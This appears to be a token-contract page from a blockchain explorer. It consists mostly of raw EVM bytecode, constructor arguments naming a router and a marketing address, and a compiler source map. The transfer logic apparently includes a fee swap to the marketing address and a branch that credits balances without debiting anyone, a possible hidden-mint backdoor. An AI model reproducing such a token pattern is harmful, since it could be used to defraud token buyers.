6060600480546104a090611351565b80601f01602080910402602001604051908101604052809291908181526020018280546104cc90611351565b80156105195780601f106104ee57610100808354040283529160200191610519565b820191906000526020600020905b8154815290600101906020018083116104fc57829003601f168201915b5050505050905090565b60006105303384846109f6565b5060015b92915050565b6000610547848484610b1a565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001981146105e757828110156105da5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6105e785338584036109f6565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105309185906106299086906113a1565b6109f6565b6000546001600160a01b031633146106585760405162461bcd60e51b81526004016105d1906113b4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106cc5760405162461bcd60e51b81526004016105d1906113b4565b6006805460ff60b01b19169055565b6000546001600160a01b031633146107055760405162461bcd60e51b81526004016105d1906113b4565b600754156107555760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c656400000000000060448201526064016105d1565b6006805460ff60b01b191690556001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663f305d71947306107b2816001600160a01b031660009081526001602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610816573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061083b91906113e9565b505042600755506006805460ff60b01b1916600160b01b179055565b6060600580546104a090611351565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156108e85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105d1565b6108f533858584036109f6565b5060019392505050565b6000610530338484610b1a565b6000546001600160a01b031633146109365760405162461bcd60e51b81526004016105d1906113b4565b6001600160a01b03811661099b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105d1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a585760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d1565b6001600160a01b038216610ab95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b405760405162461bcd60e51b81526004016105d190611417565b6001600160a01b038216610b665760405162461bcd60e51b81526004016105d19061145c565b60008111610bb65760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016105d1565b600754158015908190610be257506001600160a01b03841660009081526008602052604090205460ff16155b8015610c0757506001600160a01b03831660009081526008602052604090205460ff16155b15610d8857600654600160b01b900460ff1615610c82576014610c2960035490565b610c33919061149f565b821115610c825760405162461bcd60e51b815260206004820152601760248201527f5472616e73666572206c696d697420657863656564656400000000000000000060448201526064016105d1565b600654600090600160a81b900460ff168015610ca85750600654600160a01b900460ff16155b15610cd9576006805460ff60a01b1916600160a01b179055610ccb858583610dd2565b6006805460ff60a01b191690555b6001600160a01b03841660009081526009602052604090205460ff168015610d015750600081115b15610d23576064610d1282856114c1565b610d1c919061149f565b9050610d69565b600081118015610d4b57506001600160a01b03851660009081526009602052604090205460ff165b15610d69576064610d5c82856114c1565b610d66919061149f565b90505b8015610d7a57610d7a85308361106c565b610d8481846114d8565b9250505b808015610dad57506001600160a01b03841660009081526008602052604090205460ff165b15610dc157610dbc83836111c1565b610dcc565b610dcc84848461106c565b50505050565b8015610f6e573060009081526001602090815260408083205481516002808252606082018452919493909290830190803683370190505090503081600081518110610e1f57610e1f6114eb565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec19190611501565b81600181518110610ed457610ed46114eb565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169063791ac94790610f3990859060009086903090429060040161151e565b600060405180830381600087803b158015610f5357600080fd5b505af1158015610f67573d6000803e3d6000fd5b5050505050505b6040516bffffffffffffffffffffffff19606085811b8216602084015284901b1660348201526000906001600160a01b037f0000000000000000000000007f9c22cedab63ee5c528d8dfb8c57a8752fd154f1690479060480160408051601f1981840301815290829052610fe19161158f565b60006040518083038185875af1925050503d806000811461101e576040519150601f19603f3d011682016040523d82523d6000602084013e611023565b606091505b50508091505080610dcc5760405162461bcd60e51b815260206004820152601360248201527211551208151c985b9cd9995c8819985a5b1959606a1b60448201526064016105d1565b6001600160a01b0383166110925760405162461bcd60e51b81526004016105d190611417565b6001600160a01b0382166110b85760405162461bcd60e51b81526004016105d19061145c565b6001600160a01b038316600090815260016020526040902054818110156111305760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105d1565b6001600160a01b038085166000908152600160205260408082208585039055918516815290812080548492906111679084906113a1565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111b391815260200190565b60405180910390a350505050565b6001600160a01b0382166111e75760405162461bcd60e51b81526004016105d19061145c565b6001600160a01b0382166000908152600160205260408120805483929061120f9084906113a1565b90915550505050565b60005b8381101561123357818101518382015260200161121b565b50506000910152565b602081526000825180602084015261125b816040850160208701611218565b601f01601f19169190910160400192915050565b6001600160a01b038116811461128457600080fd5b50565b6000806040838503121561129a57600080fd5b82356112a58161126f565b946020939093013593505050565b6000806000606084860312156112c857600080fd5b83356112d38161126f565b925060208401356112e38161126f565b929592945050506040919091013590565b60006020828403121561130657600080fd5b81356113118161126f565b9392505050565b6000806040838503121561132b57600080fd5b82356113368161126f565b915060208301356113468161126f565b809150509250929050565b600181811c9082168061136557607f821691505b60208210810361138557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105345761053461138b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156113fe57600080fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6000826114bc57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176105345761053461138b565b818103818111156105345761053461138b565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561151357600080fd5b81516113118161126f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561156e5784516001600160a01b031683529383019391830191600101611549565b50506001600160a01b03969096166060850152505050608001529392505050565b600082516115a1818460208701611218565b919091019291505056fea2646970667358221220d4ec71391f9105d7a9ab847a3515f70e04be209dccc09a173b5255a087ef07f764736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000007f9c22cedab63ee5c528d8dfb8c57a8752fd154f

-----Decoded View---------------
Arg [0] : router_ (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : marketing_ (address): 0x7F9C22CeDAB63eE5c528D8DFb8C57a8752Fd154F

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000007f9c22cedab63ee5c528d8dfb8c57a8752fd154f


Deployed Bytecode Sourcemap

9829:3959:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4157:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5212:210;;;;;;;;;;-1:-1:-1;5212:210:0;;;;;:::i;:::-;;:::i;:::-;;;1291:14:1;;1284:22;1266:41;;1254:2;1239:18;5212:210:0;1126:187:1;4478:108:0;;;;;;;;;;-1:-1:-1;4566:12:0;;4478:108;;;1464:25:1;;;1452:2;1437:18;4478:108:0;1318:177:1;5430:620:0;;;;;;;;;;-1:-1:-1;5430:620:0;;;;;:::i;:::-;;:::i;10134:34::-;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2125:32:1;;;2107:51;;2095:2;2080:18;10134:34:0;1961:203:1;13566:92:0;;;;;;;;;;-1:-1:-1;13566:92:0;;9897:1;2311:36:1;;2299:2;2284:18;13566:92:0;2169:184:1;6058:297:0;;;;;;;;;;-1:-1:-1;6058:297:0;;;;;:::i;:::-;;:::i;10061:27::-;;;;;;;;;;-1:-1:-1;10061:27:0;;;;-1:-1:-1;;;10061:27:0;;;;;;9957:28;;;;;;;;;;-1:-1:-1;9957:28:0;;;;-1:-1:-1;;;;;9957:28:0;;;10097:30;;;;;;;;;;;;;;;;10024;;;;;;;;;;-1:-1:-1;10024:30:0;;;;-1:-1:-1;;;10024:30:0;;;;;;13666:119;;;;;;;;;;-1:-1:-1;13666:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;13759:18:0;13732:7;13759:18;;;:9;:18;;;;;;;13666:119;9385:148;;;;;;;;;;;;;:::i;:::-;;9907:43;;;;;;;;;;;;;;;13435:80;;;;;;;;;;;;;:::i;13059:368::-;;;:::i;9171:79::-;;;;;;;;;;-1:-1:-1;9209:7:0;9236:6;-1:-1:-1;;;;;9236:6:0;9171:79;;4265:104;;;;;;;;;;;;;:::i;6363:482::-;;;;;;;;;;-1:-1:-1;6363:482:0;;;;;:::i;:::-;;:::i;4779:216::-;;;;;;;;;;-1:-1:-1;4779:216:0;;;;;:::i;:::-;;:::i;10226:47::-;;;;;;;;;;-1:-1:-1;10226:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5003:201;;;;;;;;;;-1:-1:-1;5003:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;5169:18:0;;;5137:7;5169:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5003:201;9541:281;;;;;;;;;;-1:-1:-1;9541:281:0;;;;;:::i;:::-;;:::i;4157:100::-;4211:13;4244:5;4237:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4157:100;:::o;5212:210::-;5331:4;5353:39;217:10;5376:7;5385:6;5353:8;:39::i;:::-;-1:-1:-1;5410:4:0;5212:210;;;;;:::o;5430:620::-;5570:4;5587:36;5597:6;5605:9;5616:6;5587:9;:36::i;:::-;-1:-1:-1;;;;;5663:19:0;;5636:24;5663:19;;;:11;:19;;;;;;;;217:10;5663:33;;;;;;;;-1:-1:-1;;5710:37:0;;5707:314;;5811:6;5791:16;:26;;5765:128;;;;-1:-1:-1;;;5765:128:0;;3818:2:1;5765:128:0;;;3800:21:1;3857:2;3837:18;;;3830:30;3896:34;3876:18;;;3869:62;-1:-1:-1;;;3947:18:1;;;3940:38;3995:19;;5765:128:0;;;;;;;;;5937:57;5946:6;217:10;5987:6;5968:16;:25;5937:8;:57::i;:::-;-1:-1:-1;6038:4:0;;5430:620;-1:-1:-1;;;;5430:620:0:o;6058:297::-;217:10;6173:4;6267:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6267:34:0;;;;;;;;;;6173:4;;6195:130;;6245:7;;6267:47;;6304:10;;6267:47;:::i;:::-;6195:8;:130::i;9385:148::-;9298:6;;-1:-1:-1;;;;;9298:6:0;217:10;9298:22;9290:67;;;;-1:-1:-1;;;9290:67:0;;;;;;;:::i;:::-;9492:1:::1;9476:6:::0;;9455:40:::1;::::0;-1:-1:-1;;;;;9476:6:0;;::::1;::::0;9455:40:::1;::::0;9492:1;;9455:40:::1;9523:1;9506:19:::0;;-1:-1:-1;;;;;;9506:19:0::1;::::0;;9385:148::o;13435:80::-;9298:6;;-1:-1:-1;;;;;9298:6:0;217:10;9298:22;9290:67;;;;-1:-1:-1;;;9290:67:0;;;;;;;:::i;:::-;13491:8:::1;:16:::0;;-1:-1:-1;;;;13491:16:0::1;::::0;;13435:80::o;13059:368::-;9298:6;;-1:-1:-1;;;;;9298:6:0;217:10;9298:22;9290:67;;;;-1:-1:-1;;;9290:67:0;;;;;;;:::i;:::-;13130:15:::1;::::0;:20;13122:59:::1;;;::::0;-1:-1:-1;;;13122:59:0;;4850:2:1;13122:59:0::1;::::0;::::1;4832:21:1::0;4889:2;4869:18;;;4862:30;4928:28;4908:18;;;4901:56;4974:18;;13122:59:0::1;4648:350:1::0;13122:59:0::1;13192:8;:16:::0;;-1:-1:-1;;;;13192:16:0::1;::::0;;-1:-1:-1;;;;;13219:13:0::1;:29;;13256:21;13287:4;13293:24;13287:4:::0;-1:-1:-1;;;;;13759:18:0;13732:7;13759:18;;;:9;:18;;;;;;;13666:119;13293:24:::1;13219:130;::::0;-1:-1:-1;;;;;;13219:130:0::1;::::0;;;;;;-1:-1:-1;;;;;5362:15:1;;;13219:130:0::1;::::0;::::1;5344:34:1::0;5394:18;;;5387:34;13318:1:0::1;5437:18:1::0;;;5430:34;;;5480:18;;;5473:34;13322:10:0::1;5523:19:1::0;;;5516:44;13333:15:0::1;5576:19:1::0;;;5569:35;5278:19;;13219:130:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13378:15:0::1;13360;:33:::0;-1:-1:-1;13404:8:0::1;:15:::0;;-1:-1:-1;;;;13404:15:0::1;-1:-1:-1::0;;;13404:15:0::1;::::0;;13059:368::o;4265:104::-;4321:13;4354:7;4347:14;;;;;:::i;6363:482::-;217:10;6483:4;6532:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6532:34:0;;;;;;;;;;6599:35;;;;6577:122;;;;-1:-1:-1;;;6577:122:0;;6128:2:1;6577:122:0;;;6110:21:1;6167:2;6147:18;;;6140:30;6206:34;6186:18;;;6179:62;-1:-1:-1;;;6257:18:1;;;6250:35;6302:19;;6577:122:0;5926:401:1;6577:122:0;6735:67;217:10;6758:7;6786:15;6767:16;:34;6735:8;:67::i;:::-;-1:-1:-1;6833:4:0;;6363:482;-1:-1:-1;;;6363:482:0:o;4779:216::-;4901:4;4923:42;217:10;4947:9;4958:6;4923:9;:42::i;9541:281::-;9298:6;;-1:-1:-1;;;;;9298:6:0;217:10;9298:22;9290:67;;;;-1:-1:-1;;;9290:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9644:22:0;::::1;9622:110;;;::::0;-1:-1:-1;;;9622:110:0;;6534:2:1;9622:110:0::1;::::0;::::1;6516:21:1::0;6573:2;6553:18;;;6546:30;6612:34;6592:18;;;6585:62;-1:-1:-1;;;6663:18:1;;;6656:36;6709:19;;9622:110:0::1;6332:402:1::0;9622:110:0::1;9769:6;::::0;;9748:38:::1;::::0;-1:-1:-1;;;;;9748:38:0;;::::1;::::0;9769:6;::::1;::::0;9748:38:::1;::::0;::::1;9797:6;:17:::0;;-1:-1:-1;;;;;;9797:17:0::1;-1:-1:-1::0;;;;;9797:17:0;;;::::1;::::0;;;::::1;::::0;;9541:281::o;7747:380::-;-1:-1:-1;;;;;7883:19:0;;7875:68;;;;-1:-1:-1;;;7875:68:0;;6941:2:1;7875:68:0;;;6923:21:1;6980:2;6960:18;;;6953:30;7019:34;6999:18;;;6992:62;-1:-1:-1;;;7070:18:1;;;7063:34;7114:19;;7875:68:0;6739:400:1;7875:68:0;-1:-1:-1;;;;;7962:21:0;;7954:68;;;;-1:-1:-1;;;7954:68:0;;7346:2:1;7954:68:0;;;7328:21:1;7385:2;7365:18;;;7358:30;7424:34;7404:18;;;7397:62;-1:-1:-1;;;7475:18:1;;;7468:32;7517:19;;7954:68:0;7144:398:1;7954:68:0;-1:-1:-1;;;;;8035:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8087:32;;1464:25:1;;;8087:32:0;;1437:18:1;8087:32:0;;;;;;;7747:380;;;:::o;11017:1333::-;-1:-1:-1;;;;;11149:18:0;;11141:68;;;;-1:-1:-1;;;11141:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11228:16:0;;11220:64;;;;-1:-1:-1;;;11220:64:0;;;;;;;:::i;:::-;11312:1;11303:6;:10;11295:52;;;;-1:-1:-1;;;11295:52:0;;8559:2:1;11295:52:0;;;8541:21:1;8598:2;8578:18;;;8571:30;8637:31;8617:18;;;8610:59;8686:18;;11295:52:0;8357:353:1;11295:52:0;11375:15;;:19;;;;;;11411:29;;-1:-1:-1;;;;;;11425:15:0;;;;;;:9;:15;;;;;;;;11424:16;11411:29;:47;;;;-1:-1:-1;;;;;;11445:13:0;;;;;;:9;:13;;;;;;;;11444:14;11411:47;11407:772;;;11479:8;;-1:-1:-1;;;11479:8:0;;;;11475:113;;;11542:2;11526:13;4566:12;;;4478:108;11526:13;:18;;;;:::i;:::-;11516:6;:28;;11508:64;;;;-1:-1:-1;;;11508:64:0;;9139:2:1;11508:64:0;;;9121:21:1;9178:2;9158:18;;;9151:30;9217:25;9197:18;;;9190:53;9260:18;;11508:64:0;8937:347:1;11508:64:0;11639:11;;11604:12;;-1:-1:-1;;;11639:11:0;;;;:26;;;;-1:-1:-1;11655:10:0;;-1:-1:-1;;;11655:10:0;;;;11654:11;11639:26;11635:164;;;11686:10;:17;;-1:-1:-1;;;;11686:17:0;-1:-1:-1;;;11686:17:0;;;11722:24;11731:4;11737:2;11741:4;11722:8;:24::i;:::-;11765:10;:18;;-1:-1:-1;;;;11765:18:0;;;11635:164;-1:-1:-1;;;;;11817:19:0;;;;;;:15;:19;;;;;;;;:31;;;;;11847:1;11840:4;:8;11817:31;11813:221;;;11894:3;11877:13;11886:4;11877:6;:13;:::i;:::-;11876:21;;;;:::i;:::-;11869:28;;11813:221;;;11943:1;11936:4;:8;:33;;;;-1:-1:-1;;;;;;11948:21:0;;;;;;:15;:21;;;;;;;;11936:33;11932:102;;;12015:3;11998:13;12007:4;11998:6;:13;:::i;:::-;11997:21;;;;:::i;:::-;11990:28;;11932:102;12052:8;;12048:91;;12081:42;12097:4;12111;12118;12081:15;:42::i;:::-;12153:14;12163:4;12153:14;;:::i;:::-;;;11460:719;11407:772;12193:9;:28;;;;-1:-1:-1;;;;;;12206:15:0;;;;;;:9;:15;;;;;;;;12193:28;12189:154;;;12238:27;12254:2;12258:6;12238:15;:27::i;:::-;12189:154;;;12298:33;12314:4;12320:2;12324:6;12298:15;:33::i;:::-;11130:1220;11017:1333;;;:::o;12358:693::-;12438:7;;12434:439;;12501:4;12460:20;13759:18;;;:9;:18;;;;;;;;;12544:16;;12558:1;12544:16;;;;;;;;13759:18;;12460:20;12544:16;;;;;;13759:18;12544:16;;;;;-1:-1:-1;12544:16:0;12520:40;;12591:4;12573;12578:1;12573:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;12573:23:0;;;-1:-1:-1;;;;;12573:23:0;;;;;12619:13;-1:-1:-1;;;;;12619:18:0;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12609:4;12614:1;12609:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12609:30:0;;;:7;;;;;;;;;:30;12654:207;;-1:-1:-1;;;12654:207:0;;:13;:64;;;;;;:207;;12735:12;;12764:1;;12782:4;;12811;;12833:15;;12654:207;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12447:426;;12434:439;12965:26;;-1:-1:-1;;11327:2:1;11323:15;;;11319:24;;12965:26:0;;;11307:37:1;11378:15;;;11374:24;11360:12;;;11353:46;12883:12:0;;-1:-1:-1;;;;;12920:9:0;:14;;12942:21;;11415:12:1;;12965:26:0;;;-1:-1:-1;;12965:26:0;;;;;;;;;;12920:72;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12906:86;;;;;13012:7;13004:39;;;;-1:-1:-1;;;13004:39:0;;11932:2:1;13004:39:0;;;11914:21:1;11971:2;11951:18;;;11944:30;-1:-1:-1;;;11990:18:1;;;11983:49;12049:18;;13004:39:0;11730:343:1;7088:651:0;-1:-1:-1;;;;;7228:20:0;;7220:70;;;;-1:-1:-1;;;7220:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7309:23:0;;7301:71;;;;-1:-1:-1;;;7301:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7409:17:0;;7385:21;7409:17;;;:9;:17;;;;;;7459:23;;;;7437:111;;;;-1:-1:-1;;;7437:111:0;;12280:2:1;7437:111:0;;;12262:21:1;12319:2;12299:18;;;12292:30;12358:34;12338:18;;;12331:62;-1:-1:-1;;;12409:18:1;;;12402:36;12455:19;;7437:111:0;12078:402:1;7437:111:0;-1:-1:-1;;;;;7584:17:0;;;;;;;:9;:17;;;;;;7604:22;;;7584:42;;7648:20;;;;;;;;:30;;7620:6;;7584:17;7648:30;;7620:6;;7648:30;:::i;:::-;;;;;;;;7713:9;-1:-1:-1;;;;;7696:35:0;7705:6;-1:-1:-1;;;;;7696:35:0;;7724:6;7696:35;;;;1464:25:1;;1452:2;1437:18;;1318:177;7696:35:0;;;;;;;;7209:530;7088:651;;;:::o;6853:227::-;-1:-1:-1;;;;;6968:23:0;;6960:71;;;;-1:-1:-1;;;6960:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7042:20:0;;;;;;:9;:20;;;;;:30;;7066:6;;7042:20;:30;;7066:6;;7042:30;:::i;:::-;;;;-1:-1:-1;;;;6853:227:0:o;14:250:1:-;99:1;109:113;123:6;120:1;117:13;109:113;;;199:11;;;193:18;180:11;;;173:39;145:2;138:10;109:113;;;-1:-1:-1;;256:1:1;238:16;;231:27;14:250::o;269:396::-;418:2;407:9;400:21;381:4;450:6;444:13;493:6;488:2;477:9;473:18;466:34;509:79;581:6;576:2;565:9;561:18;556:2;548:6;544:15;509:79;:::i;:::-;649:2;628:15;-1:-1:-1;;624:29:1;609:45;;;;656:2;605:54;;269:396;-1:-1:-1;;269:396:1:o;670:131::-;-1:-1:-1;;;;;745:31:1;;735:42;;725:70;;791:1;788;781:12;725:70;670:131;:::o;806:315::-;874:6;882;935:2;923:9;914:7;910:23;906:32;903:52;;;951:1;948;941:12;903:52;990:9;977:23;1009:31;1034:5;1009:31;:::i;:::-;1059:5;1111:2;1096:18;;;;1083:32;;-1:-1:-1;;;806:315:1:o;1500:456::-;1577:6;1585;1593;1646:2;1634:9;1625:7;1621:23;1617:32;1614:52;;;1662:1;1659;1652:12;1614:52;1701:9;1688:23;1720:31;1745:5;1720:31;:::i;:::-;1770:5;-1:-1:-1;1827:2:1;1812:18;;1799:32;1840:33;1799:32;1840:33;:::i;:::-;1500:456;;1892:7;;-1:-1:-1;;;1946:2:1;1931:18;;;;1918:32;;1500:456::o;2358:247::-;2417:6;2470:2;2458:9;2449:7;2445:23;2441:32;2438:52;;;2486:1;2483;2476:12;2438:52;2525:9;2512:23;2544:31;2569:5;2544:31;:::i;:::-;2594:5;2358:247;-1:-1:-1;;;2358:247:1:o;2838:388::-;2906:6;2914;2967:2;2955:9;2946:7;2942:23;2938:32;2935:52;;;2983:1;2980;2973:12;2935:52;3022:9;3009:23;3041:31;3066:5;3041:31;:::i;:::-;3091:5;-1:-1:-1;3148:2:1;3133:18;;3120:32;3161:33;3120:32;3161:33;:::i;:::-;3213:7;3203:17;;;2838:388;;;;;:::o;3231:380::-;3310:1;3306:12;;;;3353;;;3374:61;;3428:4;3420:6;3416:17;3406:27;;3374:61;3481:2;3473:6;3470:14;3450:18;3447:38;3444:161;;3527:10;3522:3;3518:20;3515:1;3508:31;3562:4;3559:1;3552:15;3590:4;3587:1;3580:15;3444:161;;3231:380;;;:::o;4025:127::-;4086:10;4081:3;4077:20;4074:1;4067:31;4117:4;4114:1;4107:15;4141:4;4138:1;4131:15;4157:125;4222:9;;;4243:10;;;4240:36;;;4256:18;;:::i;4287:356::-;4489:2;4471:21;;;4508:18;;;4501:30;4567:34;4562:2;4547:18;;4540:62;4634:2;4619:18;;4287:356::o;5615:306::-;5703:6;5711;5719;5772:2;5760:9;5751:7;5747:23;5743:32;5740:52;;;5788:1;5785;5778:12;5740:52;5817:9;5811:16;5801:26;;5867:2;5856:9;5852:18;5846:25;5836:35;;5911:2;5900:9;5896:18;5890:25;5880:35;;5615:306;;;;;:::o;7547:401::-;7749:2;7731:21;;;7788:2;7768:18;;;7761:30;7827:34;7822:2;7807:18;;7800:62;-1:-1:-1;;;7893:2:1;7878:18;;7871:35;7938:3;7923:19;;7547:401::o;7953:399::-;8155:2;8137:21;;;8194:2;8174:18;;;8167:30;8233:34;8228:2;8213:18;;8206:62;-1:-1:-1;;;8299:2:1;8284:18;;8277:33;8342:3;8327:19;;7953:399::o;8715:217::-;8755:1;8781;8771:132;;8825:10;8820:3;8816:20;8813:1;8806:31;8860:4;8857:1;8850:15;8888:4;8885:1;8878:15;8771:132;-1:-1:-1;8917:9:1;;8715:217::o;9289:168::-;9362:9;;;9393;;9410:15;;;9404:22;;9390:37;9380:71;;9431:18;;:::i;9462:128::-;9529:9;;;9550:11;;;9547:37;;;9564:18;;:::i;9727:127::-;9788:10;9783:3;9779:20;9776:1;9769:31;9819:4;9816:1;9809:15;9843:4;9840:1;9833:15;9859:251;9929:6;9982:2;9970:9;9961:7;9957:23;9953:32;9950:52;;;9998:1;9995;9988:12;9950:52;10030:9;10024:16;10049:31;10074:5;10049:31;:::i;10115:980::-;10377:4;10425:3;10414:9;10410:19;10456:6;10445:9;10438:25;10482:2;10520:6;10515:2;10504:9;10500:18;10493:34;10563:3;10558:2;10547:9;10543:18;10536:31;10587:6;10622;10616:13;10653:6;10645;10638:22;10691:3;10680:9;10676:19;10669:26;;10730:2;10722:6;10718:15;10704:29;;10751:1;10761:195;10775:6;10772:1;10769:13;10761:195;;;10840:13;;-1:-1:-1;;;;;10836:39:1;10824:52;;10931:15;;;;10896:12;;;;10872:1;10790:9;10761:195;;;-1:-1:-1;;;;;;;11012:32:1;;;;11007:2;10992:18;;10985:60;-1:-1:-1;;;11076:3:1;11061:19;11054:35;10973:3;10115:980;-1:-1:-1;;;10115:980:1:o;11438:287::-;11567:3;11605:6;11599:13;11621:66;11680:6;11675:3;11668:4;11660:6;11656:17;11621:66;:::i;:::-;11703:16;;;;;11438:287;-1:-1:-1;;11438:287:1:o

Swarm Source

ipfs://d4ec71391f9105d7a9ab847a3515f70e04be209dccc09a173b5255a087ef07f7
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.